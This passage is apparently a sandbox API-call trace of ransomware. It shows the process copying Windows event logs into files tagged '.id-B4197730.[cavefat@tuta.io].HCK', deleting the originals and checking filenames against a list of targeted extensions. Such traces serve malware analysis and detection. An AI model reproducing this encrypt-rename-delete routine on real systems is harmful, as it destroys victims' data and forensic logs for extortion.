dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0156.641] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.641] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.641] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0156.642] GetLastError () returned 0x0 [0156.642] ReadFile (in: hFile=0x38c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0xffff0, lpOverlapped=0x0) returned 1 [0156.660] WriteFile (in: hFile=0x36c, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xffff0, lpOverlapped=0x0) returned 1 [0157.092] ReadFile (in: hFile=0x38c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x1010, lpOverlapped=0x0) returned 1 [0157.098] WriteFile (in: hFile=0x36c, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x1020, lpOverlapped=0x0) returned 1 [0157.101] ReadFile (in: hFile=0x38c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0157.101] WriteFile (in: hFile=0x36c, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x126, lpOverlapped=0x0) returned 1 [0157.101] SetEndOfFile (hFile=0x36c) returned 1 [0157.101] CloseHandle (hObject=0x36c) returned 1 [0157.117] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.117] SetEndOfFile (hFile=0x38c) returned 1 [0157.118] CloseHandle (hObject=0x38c) returned 1 [0157.118] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0157.118] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 1 [0157.118] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0157.118] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0157.118] lstrlenW (lpString=".doc") returned 4 [0157.118] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0157.118] lstrlenW (lpString=".docx") returned 5 [0157.118] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0157.118] lstrlenW (lpString=".pdf") returned 4 [0157.118] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0157.118] lstrlenW (lpString=".xls") returned 4 [0157.118] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0157.118] lstrlenW (lpString=".xlsx") returned 5 [0157.118] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0157.118] lstrlenW (lpString=".ppt") returned 4 [0157.118] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0157.118] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0157.119] lstrlenW (lpString=".zip") returned 4 [0157.119] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0157.119] lstrlenW (lpString=".rar") returned 4 [0157.119] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0157.119] lstrlenW (lpString=".bz2") returned 4 [0157.119] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0157.119] lstrlenW (lpString=".7z") returned 3 [0157.119] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0157.119] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0157.119] lstrlenW (lpString=".dbf") returned 4 [0157.119] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0157.119] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0157.119] lstrlenW (lpString=".1cd") returned 4 [0157.119] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0157.119] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0157.119] lstrlenW (lpString=".jpg") returned 4 [0157.119] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0157.119] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0157.119] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0157.119] lstrlenW (lpString=".doc") returned 4 [0157.119] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0157.119] lstrlenW (lpString=".docx") returned 5 [0157.119] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0157.119] lstrlenW (lpString=".pdf") returned 4 [0157.119] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0157.119] lstrlenW (lpString=".xls") returned 4 [0157.119] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0157.119] lstrlenW (lpString=".xlsx") returned 5 [0157.119] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0157.119] lstrlenW (lpString=".ppt") returned 4 [0157.119] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0157.119] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0157.119] lstrlenW (lpString=".zip") returned 4 [0157.119] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0157.119] lstrlenW (lpString=".rar") returned 4 [0157.119] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0157.119] lstrlenW (lpString=".bz2") returned 4 [0157.119] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0157.119] lstrlenW (lpString=".7z") returned 3 [0157.119] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0157.119] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0157.119] lstrlenW (lpString=".dbf") returned 4 [0157.119] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0157.119] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0157.119] lstrlenW (lpString=".1cd") returned 4 [0157.119] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0157.119] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0157.119] lstrlenW (lpString=".jpg") returned 4 [0157.119] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0157.120] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0157.120] lstrlenW (lpString="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 70 [0157.120] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0157.434] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=69632) returned 1 [0157.435] CloseHandle (hObject=0x37c) returned 1 [0157.435] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 0x20 [0157.435] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.435] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0157.435] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.435] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.435] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0157.435] GetLastError () returned 0x0 [0157.435] ReadFile (in: hFile=0x37c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x11000, lpOverlapped=0x0) returned 1 [0157.438] WriteFile (in: hFile=0x384, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x11010, lpOverlapped=0x0) returned 1 [0157.439] ReadFile (in: hFile=0x37c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0157.439] WriteFile (in: hFile=0x384, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x160, lpOverlapped=0x0) returned 1 [0157.439] SetEndOfFile (hFile=0x384) returned 1 [0157.439] CloseHandle (hObject=0x384) returned 1 [0157.441] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.441] SetEndOfFile (hFile=0x37c) returned 1 [0157.442] CloseHandle (hObject=0x37c) returned 1 [0157.442] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0157.443] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 1 [0157.443] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0157.443] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0157.443] lstrlenW (lpString=".doc") returned 4 [0157.443] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0157.443] lstrlenW (lpString=".docx") returned 5 [0157.443] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0157.443] lstrlenW (lpString=".pdf") returned 4 [0157.443] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0157.443] lstrlenW (lpString=".xls") returned 4 [0157.443] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0157.443] lstrlenW (lpString=".xlsx") returned 5 [0157.443] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0157.443] lstrlenW (lpString=".ppt") returned 4 [0157.443] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0157.443] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0157.443] lstrlenW (lpString=".zip") returned 4 [0157.443] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0157.443] lstrlenW (lpString=".rar") returned 4 [0157.443] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0157.443] lstrlenW (lpString=".bz2") returned 4 [0157.443] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0157.443] lstrlenW (lpString=".7z") returned 3 [0157.443] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0157.443] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0157.443] lstrlenW (lpString=".dbf") returned 4 [0157.443] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0157.443] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0157.443] lstrlenW (lpString=".1cd") returned 4 [0157.443] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0157.443] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0157.443] lstrlenW (lpString=".jpg") returned 4 [0157.443] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0157.443] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0157.443] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0157.444] lstrlenW (lpString=".doc") returned 4 [0157.444] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0157.444] lstrlenW (lpString=".docx") returned 5 [0157.444] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0157.444] lstrlenW (lpString=".pdf") returned 4 [0157.444] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0157.444] lstrlenW (lpString=".xls") returned 4 [0157.444] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0157.444] lstrlenW (lpString=".xlsx") returned 5 [0157.444] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0157.444] lstrlenW (lpString=".ppt") returned 4 [0157.444] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0157.444] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0157.444] lstrlenW (lpString=".zip") returned 4 [0157.444] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0157.444] lstrlenW (lpString=".rar") returned 4 [0157.444] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0157.444] lstrlenW (lpString=".bz2") returned 4 [0157.444] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0157.444] lstrlenW (lpString=".7z") returned 3 [0157.444] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0157.444] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0157.444] lstrlenW (lpString=".dbf") returned 4 [0157.444] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0157.444] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0157.444] lstrlenW (lpString=".1cd") returned 4 [0157.444] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0157.444] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0157.444] lstrlenW (lpString=".jpg") returned 4 [0157.444] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0157.444] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0157.444] lstrlenW (lpString="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 76 [0157.444] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0157.445] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=69632) returned 1 [0157.445] CloseHandle (hObject=0x37c) returned 1 [0157.445] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 0x20 [0157.445] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.445] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0157.445] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.445] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.445] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0157.446] GetLastError () returned 0x0 [0157.446] ReadFile (in: hFile=0x37c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x11000, lpOverlapped=0x0) returned 1 [0157.448] WriteFile (in: hFile=0x384, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x11010, lpOverlapped=0x0) returned 1 [0157.449] ReadFile (in: hFile=0x37c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0157.449] WriteFile (in: hFile=0x384, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x16c, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x16c, lpOverlapped=0x0) returned 1 [0157.450] SetEndOfFile (hFile=0x384) returned 1 [0157.450] CloseHandle (hObject=0x384) returned 1 [0157.451] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.451] SetEndOfFile (hFile=0x37c) returned 1 [0157.452] CloseHandle (hObject=0x37c) returned 1 [0157.453] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0157.453] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 1 [0157.453] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0157.453] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0157.453] lstrlenW (lpString=".doc") returned 4 [0157.453] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0157.453] lstrlenW (lpString=".docx") returned 5 [0157.453] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0157.453] lstrlenW (lpString=".pdf") returned 4 [0157.453] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0157.453] lstrlenW (lpString=".xls") returned 4 [0157.453] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0157.453] lstrlenW (lpString=".xlsx") returned 5 [0157.453] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0157.453] lstrlenW (lpString=".ppt") returned 4 [0157.453] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0157.453] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0157.453] lstrlenW (lpString=".zip") returned 4 [0157.453] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0157.453] lstrlenW (lpString=".rar") returned 4 [0157.453] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0157.453] lstrlenW (lpString=".bz2") returned 4 [0157.453] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0157.453] lstrlenW (lpString=".7z") returned 3 [0157.453] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0157.453] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0157.453] lstrlenW (lpString=".dbf") returned 4 [0157.454] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0157.454] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0157.454] lstrlenW (lpString=".1cd") returned 4 [0157.454] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0157.454] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0157.454] lstrlenW (lpString=".jpg") returned 4 [0157.454] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0157.454] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0157.454] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0157.454] lstrlenW (lpString=".doc") returned 4 [0157.454] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0157.454] lstrlenW (lpString=".docx") returned 5 [0157.454] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0157.454] lstrlenW (lpString=".pdf") returned 4 [0157.454] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0157.454] lstrlenW (lpString=".xls") returned 4 [0157.454] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0157.454] lstrlenW (lpString=".xlsx") returned 5 [0157.454] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0157.454] lstrlenW (lpString=".ppt") returned 4 [0157.454] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0157.454] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0157.454] lstrlenW (lpString=".zip") returned 4 [0157.454] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0157.454] lstrlenW (lpString=".rar") returned 4 [0157.454] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0157.454] lstrlenW (lpString=".bz2") returned 4 [0157.454] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0157.454] lstrlenW (lpString=".7z") returned 3 [0157.454] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0157.454] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0157.454] lstrlenW (lpString=".dbf") returned 4 [0157.454] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0157.454] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0157.454] lstrlenW (lpString=".1cd") returned 4 [0157.454] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0157.454] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0157.454] lstrlenW (lpString=".jpg") returned 4 [0157.454] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0157.454] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0157.454] lstrlenW (lpString="Microsoft-Windows-TWinUI%4Operational.evtx") returned 42 [0157.454] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0157.455] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=69632) returned 1 [0157.455] CloseHandle (hObject=0x37c) returned 1 [0157.455] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 0x20 [0157.455] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.455] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0157.455] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.455] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.455] CreateFileW 